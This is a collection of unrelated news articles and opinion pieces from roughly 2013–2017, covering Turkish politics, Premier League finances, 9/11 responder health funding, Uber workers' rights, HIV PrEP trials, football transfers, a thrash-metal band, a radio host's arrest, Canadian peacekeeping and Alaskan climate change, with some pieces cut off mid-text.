Erdogan ridiculed talk about corruption in Turkey by saying that his government was responsible for strong economic growth, 10,000 new roads, better schools and healthcare.
“Can you get that in a country with corruption?” he asked to cheers from the crowd. He added that there was no longer any torture at police stations. “Turkey is secure. Turkey is in strong hands. I want you to be proud of your country.”
WHO NEEDS WHOM?
Ankara began negotiations to join the EU in 2005, 18 years after applying. But a series of political obstacles, notably over the divided island of Cyprus, and resistance to Turkish membership in Germany and France, have slowed progress.
European Commission President Jose Manuel Barroso told Erdogan last week that respect for the rule of law and an independent judiciary were pre-conditions for EU membership. Erdogan argues he is only taking action against an attempt to subvert the rule of law.
A bill from Erdogan’s ruling AK Party, which is on hold in parliament, would give the government greater control over the appointment of judges and prosecutors. The party argues it is needed to curb the influence of Fethullah Gulen, a U.S.-based cleric and his former ally.
Aware of the EU’s concerns, Erdogan - once considered a model of democracy for the Muslim world - said the corruption probe unfairly targeted his followers and was orchestrated by people who “wanted to change Turkey’s direction”.
As well as Berlin, Erdogan has visited Brussels and Paris in recent weeks in a bid to build momentum after the start of a new round of EU membership talks in November, the first in more than three years. Talks had been delayed by EU states over last summer’s crackdown on anti-government demonstrations.
“Many developments like the matters of Syria and Egypt have enabled us all to see that it is the EU which needs Turkey and not Turkey which needs the EU,” said Erdogan, who last week won cautious support for the EU bid from France’s Francois Hollande.
His speech to a diplomatic audience in Berlin elicited only polite applause and a few hundred members of Germany’s Turkish minority of three million people protested at his visit by the Brandenburg Gate. Banners read: “Democracy now, everywhere!”
“He’s trying to turn us into Iran,” said Ajsel Cam, a 45-year-old cook who works at a Berlin hospital. She added that Erdogan’s ally-turned-rival Gulen was “exactly the same”.
“We want true democracy,” said Cam Temuer, a pensioner aged 70. “Everything in Turkey is falling apart.”By Nick Harris
24 February 2014
Wayne Rooney’s goal for Manchester United on Saturday at Crystal Palace, which came the day after the club confirmed his contract extension until June 2019, prompted inevitable headlines and comment along the lines ‘That’s how to repay a £300,000 per week wage.’
It also got me wondering: how much is a goal in the Premier League worth?
More precisely, given the inflation-busting pay rise Rooney has apparently landed himself, how much is a goal worth in the Premier League this season, under the new TV deals, compared to last season?
First, an answer: each goal in the Premier League last season was worth, on average, £914,550 in ‘prize’ money from central Premier League funds.
(NB, this is an answer, there are multiple ways of answering this question).
The calculation: the 20 clubs received £972,166,620 from central funds combined (average £48.6m per club), and scored a total of 1,063 goals, so the average value per PL goal last season, in PL cash, in effect, was £914,550. The detail per club is in the first graphic below.
And this season? Because of the huge jump in TV revenues and the expected large jump in payments from central funds to the 20 clubs, it looks likely, at current scoring rates, that each goal, on average, will be worth around £1.54m in ‘prize’ money.
The calculation: the 20 clubs will receive somewhere in the region of £1.57 billion from central PL funds between them (average around £78.5m), and at the current rate, we can expect around 1,019 goals, so each will be worth around £1.54m, give or take a few tens of thousands. That’s a hike in the value of each goal by somewhere north of 60 per cent.
One could argue Rooney needs only 11 Premier League goals this season for United to repay his salary; and any other goals in other competitions come free. Why? Because weekly pay of £300k means annual pay of £15.6m, so 11 goals at £1.54m each are worth £16.94m. Rooney has 10 PL goals this season already, including Saturday’s.
But this is not a piece about Rooney and his contract, rather one prompted by it.
Why is a goals value of £915k per goal last season valid?
Premier League football clubs, like all clubs, have income from three three revenue streams:
– match day income (that’s tickets and programmes, pies and prawn sandwiches).
– commercial income (shirt sponsorship, kit deals, merchandise, etcetera).
– media income (TV money basically, from the Premier League, and where applicable, from Uefa for European competitions and from the national bodies for domestic cups).
For the purposes of this exercise, we are looking solely at the Premier League TV income part of the media income – so not match day money at all, not commercial income, just the money paid out by the Premier League as a result of playing in the PL, and achieving whatever each club achieves.
The PL central payments to the clubs are not handed out on the basis of how many goals each team scores, obviously.
The payments are made using a formula where the clubs split parts of the domestic and overseas income, get different amounts depending on appearances on TV, and get more money for each place up the table they finish.
But goals are the currency of football, and goals equate to points (with a remarkable closeness, across the division as a whole), and more points mean more success, and therefore, for the purposes of this exercise, the comparison is between goals and the cash they earn from the success they bring
The first graphic looks at last season in detail. The clubs are ranked in order of how much PL TV money each club received. These are official figures, sourced from the Premier League.
Note the total amount paid out: £972m. And the total goals: 1,063. And the average amount per goal: £914,550.
What is also striking is the relationship between the number of goals and the number of points: 1,032 points won last season for those 1,063 goals, at effectively one point per goal.
And as the graphic shows, most clubs are not very far off this tally of roughly a point per goal, give or take a few ‘outliers’.
Manchester United scored 86 goals and won 89 points, Arsenal scored 73 goals for 72 points, Chelsea scored 75 goals for 75 points, West Ham scored 45 goals for 46 points and so on. Stoke, however, made the most of their relatively few goals (34) in winning 42 points while at the other extreme Reading’s 43 goals mustered only 28 points.
The other thing to note is that goals are ‘worth’ a bit more per goal to those clubs who scored fewest; and a bit less per goal to those who score more.
But the principle is clear, and consistent: the more you score, the more points you win, the more money you get.
Article continues below
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Last season was not some fluke where goals were worth around one point each, and each goal was worth just more than £900,000 each. Here is what happened the season before, and again the relationship between goals (1,066) and points (1,057) is striking:
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And this season?
With the new TV deals in place, pouring in hundreds of millions of pounds of new cash thanks to BT Sport entering the bidding (read about that here), and a boom in overseas rights cash, driven by Asian markets (read about that here), the value of being in the Premier League has soared. Which means the value of each goal has risen.
The last graphic attempts to give an approximate forecast of how the TV money will rise per club this season (based on what we know about PL income) and also shows how the table would look if all the clubs current points and goals tallies continue at their current rates between now and the end of the season.
This is not a stats-based prediction of how the final table will look. The extrapolations on points and goals have been made solely so we can calculate the probable approximate ‘value’ of each goal this season.
The graphic is otherwise self-explanatory: goals have got much more valuable. Which is why clubs are able to pay more to those who score them.
Article continues below
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For more detail about how the Premier League money has been divided up in recent seasons, go here.
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More from Nick Harris
Follow SPORTINGINTELLIGENCE on TwitterFormer “Daily Show” host Jon Stewart joined several dozen 9/11 first responders on Capitol Hill Wednesday morning to push Congress to pass a permanent extension of a bill to compensate those who became sick after working at Ground Zero after the Sept. 11 terror attacks.
Parts of the bill, known as the James Zadroga 9/11 Health and Compensation Act, will start to expire in October. The bill in its entirety loses funding by the fall of 2016.
“I’m embarrassed for our country, for New York, that you after serving so selflessly have to come down here and convince people to do what’s right.” Jon Stewart
The effort to extend the bill — lead by New York Democrats Rep. Carolyn Maloney in the House and Sen. Kirsten Gillibrand in the Senate — has secured 151 total sponsors, including 33 Republicans, but is still facing an uphill battle in Congress.
Some fiscal conservatives believe that the funds should come from specific programs and do not support 9/11 specific legislation. Also, the congressional calendar is packed this fall, with lawmakers struggling to fund the government, the highway trust fund and raise the nation’s debt limit.
Leadership aides tell NBC News that those issue take precedent at the moment.
“The idea that with cancer we have to bring them down here every five years to beg for the benefits, it’s the least the we can do,” Stewart told NBC News. “It’s literally the least that we can do. That they don’t have to be insecure about the medicine they are going to need to treat illnesses.”
Stewart said he wants members of Congress to remember that first responders where some of the first veterans from the “war on terror”.
Close video Jon Stewart ‘embarrassed’that 9/11 responders need to fight for health care Former ‘The Daily Show’ host Jon Stewart stands with 9/11 first responders on Capitol Hill, joining them on yet another lobbying trip to seek a permanent extension for the Zadroga bill. Many first responders, including sick firefighters, police… share tweet email save Embed
“We are going in offices where they tweet on 9/11: ‘never forget.’ Well, guess who they forgot? I mean the disconnect is jarring and shocking and you can sit in their office and they will say to you ‘oh yea no, we absolutely support our first responders |
governments declared their determination to work together to protect the wreck "that is part of the heritage of humanity". On 14 December, Spanish cultural minister Jose Maria Lassalle said that Spain backed plans to create a museum to house items salvaged from the wreck in Colombia, in an effort to head off a diplomatic confrontation.
A team of Colombian researchers tracked the legendary wreck's location using 18th century wind and coastal currents, and examining Spanish and Colombian colonial archives.No company better epitomises the so-called “gig economy” than minicab firm Uber. All the key ingredients are there: the company uses an app, the drivers work flexibly – indeed, they can turn the app on and off at will – the drivers are paid per job, and the company denies them the employment rights to which they are legally entitled. Following the loss of its appeal on Friday, that might be about to change.
Uber loses appeal in UK employment rights case Read more
There has been much debate about how to regulate such jobs in order to protect the people doing them. This culminated in the Taylor review’s 116 pages of predominantly vacuous fluff, legal inaccuracies and less than helpful suggestions. However, what the many recent tribunal decisions have shown is that the couriers and private hire drivers who provide the labour for Britain’s on-demand economy are already entitled to employment rights under UK law; their rights have simply not been enforced.
Despite the abundance of reporting to the contrary, the employment tribunal challenges to the likes of Uber, CitySprint and Deliveroo have not been about whether or not the workers in question were self-employed. For as the supreme court has made clear, and as has been repeated ad nauseum by lower courts and tribunals, the law recognises two types of self-employed people. The first type are micro-entrepreneurs or professionals contracting with clients or customers. The second type – known as (Limb b) workers – carry out their work as part of someone else’s business rather than their own, and as such are entitled to a number of employment rights such as holidays, minimum wage and pensions contributions.
What the “gig economy” companies have therefore been arguing is that the Uber driver runs his own transportation services business and the Deliveroo rider runs her own small food delivery business. So the common cliches regurgitated by “gig economy” bosses every time they lose a case, that the drivers and riders like being self-employed and having flexibility, are irrelevant. Neither self-employment nor flexibility is lost as a result of the tribunal cases.
Last October Uber was the first of the recent high-profile dominos to fall, losing a case in the employment tribunal that its drivers were workers. In one line that effectively sums up the essence of the case, the judge said: “The notion that Uber in London is a mosaic of 30,000 small businesses linked by a common ‘platform’ is to our minds faintly ridiculous.” Rather than taking the opportunity to provide its drivers with the basic rights it had been denying them, Uber chose to appeal against the ruling.
For passengers concerned the claims have contributed to Uber losing its licence, the procedures are completely separate
The appeal, in which test claimants James Farrar and Yaseen Aslam were backed by the Independent Workers’ Union of Great Britain (IWGB), was heard in September. In a shift of emphasis, Uber at this stage ran an argument which deserved a five-star rating for its ludicrousness: that Uber was nothing more than an agent, acting in the best interests of the drivers, and was simply putting them in touch with customers. On Friday the employment appeal tribunal unsurprisingly upheld the earlier decision that Uber drivers were workers. In the long-shot hope that the third time will be the charm, Uber has already announced that it will appeal once more.
For passengers concerned that the employment claims against Uber have contributed to the company losing its licence in London, I can assure you the two procedures are completely separate. Despite our best efforts to get Transport for London (TfL) and the mayor to use their considerable influence to ensure private hire companies respect workers’ rights, TfL does not appear particularly interested. Indeed, by their own account, workers’ rights had nothing to do with the decision to revoke Uber’s licence. Nor would revoking the licence be the best way to ensure workers’ rights in any case.
Despite the bizarre proposition by some that announcing the imminent redundancy of 40,000 low-paid predominantly minority ethnic workers is a victory for workers’ rights, the greatest irony is that of all the companies in the “gig economy”, Uber is the one closest to ensuring these rights. If its appeal is heard by the supreme court in February, as Uber desires, then in early 2018 the matter will be finalised. Assuming we win, Uber will have no choice but to provide basic protections. The same cannot be said for other companies in the notoriously exploitative courier and private hire industries whose legal challenges are years behind, or much less for those companies who are yet to be challenged at all in tribunal.
‘Sometimes you don’t feel human’ – how the gig economy chews up and spits out millennials Read more
Friday’s appeal tribunal decision is consequential for all in the “gig economy”, not because it represents a major change but rather because it reinforces what we already know: the fundamental problem of employment rights is a lack of enforcement of existing law – not any need for some special new status. If we want the abuses to stop then there needs to be rigorous government enforcement of the law and fines large enough to deter unlawful behaviour.
The fact that despite all the recent tribunal decisions companies in the sector continue to deny workers paid holidays and the minimum wage further attests to the total impunity with which they have been allowed to act. As one can’t imagine the Tory government will suddenly start proactively protecting workers’ rights, the IWGB will continue to hold these companies to account by challenging them in tribunal. When enough dominos fall, justice will rise.
• Jason Moyer-Lee is the general secretary of the Independent Workers’ Union of Great BritainThe Possibility of PrEP that's Not Truvada
Results from the HPTN 069/ACTG 5305 trial (aptly dubbed NEXT-PREP) are in, and they show that Maraviroc-based regimens are highly effective at preventing HIV.
A research abstract showed that among 406 men enrolled at 12 sites, five seroconversions occurred among those being given a version of Maraviroc as PrEP. Four of those were associated with low or undetectable drug levels. The results were presented at the Conference on Retroviruses and Opportunistic Infections (CROI) in Boston.
Maraviroc is an already FDA-approved HIV entry inhibitor that concentrates in the genital tract/rectum and is taken once daily, making it a possible alternative to Truvada PrEP.
Related HIV Equal News: The Big PrEP Huddle: “Sexperts” Gather to Discuss HIV Prevention
The phase II trial examined the safety and tolerability of four regimens: Maraviroc alone, Maraviroc plus emtricitabine (FTC), Maraviroc plus tenofovir (TDF) and TDF plus FTC (Truvada as PrEP).
In a random test of 122 participants at random times, 93 percent had detectable study drug plasma levels. Among the five seroconversions, two subjects never had study drug present in their plasma at any visit. The three other seroconversions occurred in the branch given Maraviroc alone.
All of those who seroconverted had R5 virus (a common strain of HIV that attaches to the CCR5 co-receptor on a CD4 cell) and no genotypic resistance.
To participate in the study, participants had to be adult, HIV-negative men who reported a history of condomless anal intercourse with at least one HIV-infected or unknown-status man within 90 days. “Patients received randomized study regimens for 48 weeks with follow-up visits at weeks two, four, eight, and then every eight weeks,” according to the abstract. “At each study visit, interval history, physical exam, safety laboratories, blood plasma for drug levels, and HIV and adherence counseling and tested were conducted.”
PrEP You Don’t Swallow: The Future of Anal HIV Prevention
The 406 men had a median age of 30 but ranged in age from 18 to 70. More than 60 percent of the volunteers were white, 28 percent black, 22 percent Latino, and 10 percent other races. Of the initial 406, 9 percent permanently discontinued the study regimen prior to 48 weeks and 9 percent were lost to follow-up.
The rates of grade two to four adverse events did not differ in pairwise comparisons among study arms.
“Given as HIV PrEP in MSM, MVC-based regimens were comparably safe and well-tolerated versus the control regimen of TDF+FTC,” the authors concluded.
Related HIV Equal News: Is PrEP Necessary When Your Partner is Undetectable?
Breaking HIV Prevention News for Women, too: Vaginal Ring Shows Success
Meanwhile, a vaginal ring that continuously releases antiretroviral medication has shown a modest level of protection against HIV in a large clinical trial in sub-Saharan African countries.
The National Institute of Allergies and Infectious Diseases announced Monday in a news release that the ring reduced the risk of HIV infection by 27 percent in the study population overall and by 61 percent among women ages 25 and older, who used the ring more consistently.
The results were announced at CROI and published simultaneously in the New England Journal of Medicine.
“Women need a discreet, long-acting form of HIV prevention that they control and want to use,” said Dr. Anthony Fauci, director of the NIAID, part of the National Institutes of Health (NIH). “Further research is needed to understand the age-related disparities in the observed level of protection.”
Related HIV Equal News: PrEP Works for Transgender Women, but only if they take itBrendan Rodgers expects a quick resolution to Andy Carroll's future at Liverpool, with the striker's hopes of a return to Newcastle United receding.
West Ham United have had a £15m offer accepted by Liverpool for the 24-year-old, who was initially reluctant to move to east London on loan last season and who harbours similar doubts over signing for Sam Allardyce's team on a permanent basis.
The England international has not given up hope of revitalising his career at Anfield, despite being told by the Liverpool manager that he will have few opportunities to do so, but he would consider a move back to the boyhood club he left for £35m in January 2011. Newcastle, however, have not registered an interest and a potential exchange deal involving Hatem Ben Arfa is unlikely as Rodgers' interest in the French midfielder has cooled.
Rodgers said: "It was just a general conversation in terms of the experience of getting out and playing. He enjoyed that apart from the injury. At the start of the season the whole thing was about going and getting games because he wasn't going to be a starter here. We will talk again with him and the club to see how it all evolves. It's one of those situations where it will probably be resolved a lot quicker than that for both parties."
Liverpool were keen on Ben Arfa earlier in the season and a swap for Carroll may have appealed to Newcastle, who refused to entertain the striker's £17m asking price last summer and attempted to re-sign him on loan instead. But Liverpool were unimpressed by the 26-year-old France international following his return from a three-month injury lay-off in March and that avenue now appears closed to Carroll.
Carroll scored seven goals in 24 league games for West Ham to earn a recall to the England squad for the friendlies against the Republic of Ireland and Brazil, a recall since postponed by a heel injury. As was the case last summer, Carroll has been told he does not feature in the Liverpool manager's long-term plans and Rodgers wants to invest the £15m fee and a salary in excess of £4m in new faces. Schalke's Greece international Kyriakos Papadopoulous is his main target to replace Jamie Carragher in central defence next season and Liverpool may have to pay more than £12m for a player targeted by several leading clubs. The Anfield club are also leading the chase for Barcelona's 16-year-old winger, Sergi Canos, who is also wanted by Arsenal and Manchester City.
On his end-of-season talks with Carroll, the Liverpool manager said: "It's a difficult one. I spoke to him and we had a good chat. The boy is a talent. It's just something we need to assess between now and the end of window. In terms of the money, that's something out of my control. But he's a talent so we will assess the whole situation. The objective at the beginning of the season was for him to go out and play. He's gone away to think of what we spoke about and we will talk again through the weeks."
In contrast to last summer, however, when Carroll joined West Ham shortly before the transfer deadline and Rodgers was unable to sign Clint Dempsey as a replacement, Liverpool want to resolve the striker's position quickly.Flotsam and Jetsam (Photo: AFM Records)
This July marks the 30th anniversary of Flotsam and Jetsam busting out of Phoenix with the explosive debut “Doomsday for the Deceiver,” a thrash-metal classic on Metal Blade Records that holds the distinction of being the first album ever to receive a 6K rating from “Kerrang!,” an influential British music magazine that’s something of a heavy-metal bible.
By the time they followed through with “No Place for Disgrace” in 1988, their bassist Jason Newsted had been drafted by Metallica to replace the late Cliff Burton, a setback that, in many ways, just added to their reputation on the thrash scene, where they were not only respected but feared, says Heavy Metal Television founder Eric Braverman.
Respected and feared
As Braverman, whose connection to Flotsam and Jetsam runs deep, recalls, “They were always this legendary band with this weird name that other bands in the upper echelon of thrash when we were on tour would be almost like, ‘Dammit, I’ve gotta play with Flotsam and Jetsam? Now I’ve gotta pay attention.’”
And that’s because, as Braverman, who’s been their manager, co-written albums with them and more, explains, “They were one of the greatest thrash-metal live bands ever. They did that twin-guitar attack, awesome drumming. In the world of thrash, they were the band that had all the other bands always looking over their shoulder. And the Flotsam guys didn’t quite catch up. But they always played better than anybody. Even Megadeth would be like, ‘Dammit!’ It was almost like they were intimidated.”
They’ve gone through countless lineup changes in the years since “No Place for Disgrace,” which even now remains their highest entry on the Billboard album charts, with singer Eric “A.K.” Knutson as the only constant. Lead guitarist Michael Gilbert, who returned to the fold in 2010, was on their first six albums. And current bassist Michael Spencer did a brief stint in the ‘80s. If being the guy who took over for Newsted’s replacement counts as a distinction, that’s the distinction Spencer carries.
And yet, for all the changes they’ve been through, the longest they’ve gone without releasing a new album is the five-year-gap between 2005’s “Dreams of Death” and 2010’s “The Cold,” an album followed in 2012 by “Ugly Noise,” which marked the short-lived return of founding drummer Kelly David-Smith and featured several Newsted writing contributions.
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In Phoenix through it all
They’ve also stayed in Phoenix through it all.
“What local band has been putting out CDs on an international level for as long as these guys?” Braverman asks. “I don’t know if there is a rock band here in town besides Alice Cooper that’s put out stuff distributed by some maniac on an international level for this many years.”
On May 20, they returned with a self-titled album, their first release since drafting drummer Jason Bittner of Shadows Fall and guitarist Steve Conley.
Why self-titled?
As they frame it in the press release, “In theory, the band Flotsam and Jetsam started in January 2015 when Eric A.K., Mike Gilbert, Michael Spencer, Steve Conley and Jason Bittner got in a room together to start rehearsing for upcoming 2015 European tour dates, and to commence writing for the band’s next record.”
Conley isn’t sure he’d go along with that.
"I actually did read that and laugh," Conley says. "But here’s the thing. Flotsam and Jetsam has had a lot of different lineups in 30 years. There’s three new guys in the band so it’s not gonna sound like it did with Kelly and (guitarist) Ed (Carlson) or (guitarist) Mark Simpson and some of the other guys that have been in the band. I mean it’s got Eric’s voice on it. You can’t have Flotsam and Jetsam without A.K. But the musicians have changed. It’s sort of like a new beginning.”
'We were trying to revisit the old days'
And yet, it’s clear from the sound of the album that they’re not opposed to channeling the spirit of their beginning, including a debut that Loudwire magazine recently named to a list of the Top 10 Thrash Albums Not Released by the Big 4 (Metallica, Megadeth, Slayer and Anthrax), saying the album “revealed a balanced blend of concise thrashing and epic songwriting, filled with budding promise.”
There’s a noticeable early thrash vibe going on, and Conley says two of the songs were actually written for the second album.
“That’s kind of what we were going for,” Conley says. “We were trying to revisit the old days. And it seems like everybody’s feeling that we hit the mark. We’ve gotten nothing but spectacular reviews, which we’ve been super happy about. So that’s a good thing.”
The guitarist, who joined in 2013, was recommend by another veteran of the ‘80s thrash scene, Megadeth bassist Dave Ellefson, who played with Conley in a band called F5 while living in Phoenix.
“I was just giving guitar lessons and I engineer at a studio here in town, Sonicphish Productions,” Conley says. “So I was just doing the working band-guy thing. And Mike Gilbert called me up and said, ‘Hey man, would you be interested in coming down and maybe just jamming?’ And I was like, ‘Yeah, why not?’ I didn’t know they were still actively going to Europe and doing the stuff that they were doing. I was kind of in the dark. I just thought, ‘Sure, I’ll jam.’ And it went well.”
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Clamor for old-school metal
They’ve been to Europe eight times since he joined, which definitely had an impact on the sound of this new album.
"Every time we go there, I would sit and listen to the fans," Conley says. "And they would say, ‘Man, I love these first two records.’ The promoters would pay us extra money and say, ‘Would you guys come and play those first two albums for us? We’ll pay more.’ So we spent three years playing those songs and I think that brought back the early-day vibe because we’re playing Europe all the time and those fans are digging that stuff. If all you’re playing every night is 90 minutes of old-school metal, it sort of puts you in a frame of mind to write a record like that again.”
The self-titled album is their first for AFM, a German label, which makes sense considering how big a deal they are right now in Europe.
As Braverman says, “They go to Europe now more than they ever did back in the day. They’re playing on shows where you can’t see the back of the field from the stage, these giant, ridiculous 35,000-people-all-day festivals. These guys have been doing this more than 30 years and they’re going and playing in front of tens of thousands of people in Europe. They’ve never been able to keep it together and yet the name, because it is a legendary name, that’s the thing. They’re like these legends.”
Read or Share this story: http://azc.cc/1TBQhLTToday, Anthony Cumia returned to his live show only one day after being released from Nassau County Jail. There had been a lot of speculation among media and fans on Sunday and Monday regarding whether Cumia would or should go on air. When his show went live at 4pm ET on Monday, Anthony was not in front of the camera. Instead, Dave Smith from the Legion of Skanks podcast opened the show. But Cumia was on his way, and called in to his own show to assure fans he would be there.
Cumia arrived about 30 minutes late for the episode they are calling “The Elephant in the Room.” He joined Dave Smith and Luis J. Gomez, (also from the Legion of Skanks podcast), explaining that he had to go to a few ‘meetings’ earlier in the day that tied him up. He joked about the elephant in the room, and then spent most of the remaining ninety minutes sharing details with his audience about his experience being arrested, booked, processed, and arraigned. Of course he was advised not to talk about the incident that led to his arrest- a fight with girlfriend Dani Brand aka Dani GoLightly. Cumia mentioned that he would “love, love, love” to be able to talk details about the incident but said that he had been advised by many people not to say anything. He described the incident only as “a little excitement at the compound” that resulted in him being “taken into custody.”
Despite his experiences over the weekend, Cumia seemed rested, in good spirits and appeared to be decidedly confident that he will be exonerated of charges. He thanked his fans and sponsors for being supportive and talked about the relentless press attention he’s been getting all weekend long.
Some of the details Cumia shared included meeting cops who are fans of his show and the Opie and Anthony Show, getting handcuffed in the ‘good’ way as opposed to the more uncomfortable way, being offered a meal of a warm baloney sandwich and a glass of warm milk, taking a side trip to the hospital because he didn’t have his medication with him, and experiencing a ride on the prison bus to be arraigned. He also showed a bruise on his arm which he apparently got from being shackled.
Cumia’s fanbase was thrilled to see him come back on the air so quickly after being involved in such a public legal incident with powerful civil and criminal ramifications. Listeners seemed happy to hear Anthony joke about his situation, laugh at his predicament, and show that he wasn’t hiding anything.
But was it a good idea to go live so soon? Even if Anthony feels confident about his case, and even if you assume he hasn’t done any of the things he is being accused of, could going on air live hurt his legal situation? On the one hand, showing off a confident, everything’s okay demeanor could help him. Maybe he gets the public and/or the media on his side, and his current fans clearly respect honesty and being forthcoming.
But there is a potential downside as well. At this stage, there’s no way to know if Cumia will face a civil lawsuit, and there are risks to his criminal case of being too confident. If the charges stand and Anthony ends up in court, then jury members could potentially be put off by Cumia’s lightness and confidence. Additionally nobody can predict what kind of pressure might be put on Nassau County prosecutors from Domestic Abuse groups and protestors concerned about women’s rights. Being visibly unconcerned about the allegations could rub some people the wrong way.
From an entertainment point of view, subscribers to Anthony’s couldn’t ask for anything more. Anthony has been an open book, sharing thoughts and details that most performers would shy away from. And Cumia’s career has been a virtual study in turning bad circumstances into good. Early in his career, Cumia turned firings into career promotions while working himself up the radio ladder to get market #1, New York City. And after Anthony’s last controversy Cumia arguably turned a bad situation– getting fired from a dream job– into a good one by starting his own podcast network with a successful show of his own and multiple other shows airing throughout the week. It all plays out like a reality show, which may be appropriate because there have been rumors that Cumia was courting networks over the summer to create an unscripted television show revolving around his life. Even without an official reality show, the media has remained very interested in Cumia’s story, sifting through shows periscopes and tweets even now. We’ll have to wait until January 4th when Cumia returns to court to see if that benefits or hurts his case.
Good move or bad move going live today? Let us know in the comments.
Read more about Cumia’s Arrest and See Cumia’s Statement and Mugshot.
Read more comedy news.Murray Brewster, The Canadian Press
OTTAWA -- "Canada is still involved in peacekeeping in areas like the Sinai. We still contribute peacekeepers around the world." -- Conservative Leader Stephen Harper, responding to Liberal Leader Justin Trudeau's suggestion that Canada is out of the peacekeeping business.
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As Canada's political leaders slugged it out in a foreign policy debate in Toronto, world leaders meeting in New York pledged to increase the size of United Nations peacekeeping forces by 30,000.
Liberal Leader Justin Trudeau said Canada has nothing to contribute to the renewed effort and suggested Canada is largely out of the peacekeeping business, something it helped found in the 1950s.
Conservative Leader Stephen Harper disagreed, saying the country is still involved in blue-helmet UN operations.
Is it?
Spoiler alert: The Canadian Press Baloney Meter is a dispassionate examination of political statements culminating in a ranking of accuracy on a scale of "no baloney" to "full of baloney" (complete methodology below).
This one earns a rating of some baloney. Here's why.
THE FACTS
Canada was often the single biggest contributor to UN peacekeeping missions between 1956 and 1992, but the numbers began to decline at the turn of the century and increased sharply in 2005 with onset of the combat mission in Kandahar.
Canada had sent about 80,000 soldiers to UN operations -- about 10 per cent of the total -- by the time UN peacekeepers won the Nobel Peace Prize in 1988.
Nostalgia for the days of relatively benign observer missions is a lament of both the Liberals and NDP, who throughout the Afghan war called for Canada to return to its peacekeeping roots.
The sentiment was often echoed in a public opinion surveys conducted by National Defence between 2007 and 2009, at the height of fighting the Taliban.
As the UN General Assembly opened its latest session Monday in New York, more than 50 countries pledged to contribute an additional 30,000 troops and police for missions in trouble spots around the world, including China, which promised 8,000 soldiers and a $1-billion investment.
"The fact Canada has nothing to contribute to that conversation today is disappointing because this is something a Canadian started," said Liberal Leader Justin Trudeau.
"Right now, there is a need to revitalize, focus and support peacekeeping operations around the world."
In 1995, Canada ranked 6th out of 84 countries in the world in terms of its contributions to peacekeeping missions, with 2,204 soldiers deployed, according to UN statistics.
That rank is now 62 out of 126 countries. Most of the 88 personnel -- 54 -- are police officers assigned to mentoring law enforcement in troubled countries such as Haiti. The rest are soldiers, who usually fulfil a headquarters or staff function.
Conservative Leader Stephen Harper pointed to Canada's contribution to the multi-national observer mission in the Sinai as proof Canada was still in the peacekeeping game.
There are approximately 70 Canadian soldiers serving with that mission in El Gorah, Egypt, and it's even commanded by a Canadian, Maj.-Gen. Denis Thompson.
It is, however, not a UN mission and has not been designated as such for 36 years. It is a multinational "alternative peacekeeping" mission set up co-operatively between Israel and Egypt, but facilitated by the U.S.
Canada has shown reluctance to join UN-led missions over the last decade. Notably, it turned down a request to have a Canadian -- retired lieutenant-general Andrew Leslie -- lead forces in the Congo.
WHAT THE EXPERTS SAY
Walter Dorn, a professor at Canadian Forces College in Toronto, says it's a stretch to claim that the country is still involved in peacekeeping, especially since it has not signed up and contributed troops for a UN mission since Eritrea in 2001.
"Our involvement in peacekeeping is at an all-time low," said Dorn, who has written extensively on the subject. "When the UN is at an all-time high in terms of military personnel deployed -- 92,000 -- Canada is at all-time low."
The decline of the country's faith and involvement in blue-helmet operations can be traced to the searing experiences of Somalia and the Balkans in the 1990s, he said.
The scandal over the torture and murder of a Somali teenager and the frustration of being caught in the middle of a shooting war between Serbs and Croats made a deep impression on Canada's political and military leadership that has lasted until this day.
Canadian soldiers were "disgusted with the weak rules of engagement" given to them in the former Yugoslavia, undermining the credibility of the UN, Dorn wrote in a 2007 report published by the Royal Canadian Military Institute.
Dave Perry, of the Global Affairs Institute, said Harper can't be blamed entirely for the move away from peacekeeping because it started with the Liberals, who preferred to deploy troops under a UN mandate but in missions organized by NATO.
He also found Harper's statement suspect.
"We do have people in many places, but'many' is an elastic concept," Perry said. "There are penny packets, singles and onesies and twoies in a bunch of different places. That ain't what we used to do."
There is room for the next government to do more, especially with a trained conventional army largely sitting at home following Afghanistan, he added.
Even if units are not deployed, experienced commanders could be put to use -- or even transport aircraft and helicopters providing support to multinational operations, Perry added.
THE VERDICT
While it is true that Canada has a token presence in peacekeeping, a large percentage of that involvement is in police training, with the largest contingent of soldiers not operating under a UN flag.
For that reason, Harper's statement rates "some baloney."
METHODOLOGY
The Baloney Meter is a project of The Canadian Press that examines the level of accuracy in statements made by politicians. Each claim is researched and assigned a rating based on the following scale:Media playback is unsupported on your device Media caption The BBC's James Cook explains why the Arctic Circle summit in Alaska matters
It's springtime in Alaska and a gentle drip-drip and occasional creak and crack tells you that the winter ice on the shore of the Bering Sea is melting fast.
In the little town of Nome ("there's no place like Nome," as they say here) folk reckon that these thaws are coming earlier, summers are longer and the ice is thinner.
To them climate change is not just a theory.
"When I was younger this shore-fast ice was upwards of eight feet," says Austin Ahmasuk who has been gazing out at this icy water since the day he was born. "Now its wintertime maximum is four feet thick or so."
Image copyright U.S. Coast Guard / Getty Image caption Fierce winters can cut Nome off, as in 2012 when icebreakers were needed to deliver fuel
Image caption Austin Ahmasuk says the area faces'mind-blowing' oceanic changes
Mr Ahmasuk works with Kawerak, a consortium of 20 local tribes including Inupiaq, St Lawrence Island Yupik and Central Yup'ik peoples - trying to maintain old traditions in a new world.
"In Alaska," he says, "we are witnessing the disappearance of the cryosphere - ice - in many parts where it occurred in all of its forms: permafrost, river ice, ocean ice."
The resulting oceanic changes are, he says, "mind-blowing".
Trump scraps Obama's climate change policies
Trump's 'control-alt-delete' on climate change policy
This changing face of land and sea hampers the mobility of isolated communities, making hunting harder and challenging ways of life which have endured for thousands of years.
'Longer summers'
Along the beach, Rebecca Tokeinna and her mother Peggy Olanna are not hunting, but scavenging for flat stones to decorate their new home.
It is a few degrees above freezing today and the sun is out so both mother and daughter are wearing shorts. "It's summer," they declare, with broad smiles.
They have recently moved south from the Arctic village of Wales from where, on a clear day and in the right spot, you can see Russia across the strait.
They too are reporting changes.
"The winters are colder and a little bit shorter and spring is coming earlier and a lot warmer, which we love. Summers are longer instead of shorter," says Ms Olanna.
The winter which has just ended was particularly fierce, she says, although she adds that it followed several milder winters.
"The elders, they are watching the climate change," says Ms Olanna.
"Back in the day they knew exactly when to go out hunting. Now they have to play with the weather."
Image caption Rebecca Tokeinna and Peggy Olanna say they are noticing the winters are shorter
There is no doubt that people here are tough and resilient.
Through the long, dark winters when ferocious storms scream in from the sea, survival is not guaranteed and there is no-one to turn to for help.
And yet now, with conditions changing so rapidly, there is a feeling that help may be needed, that local problems are becoming global concerns.
'Abdication of responsibility'
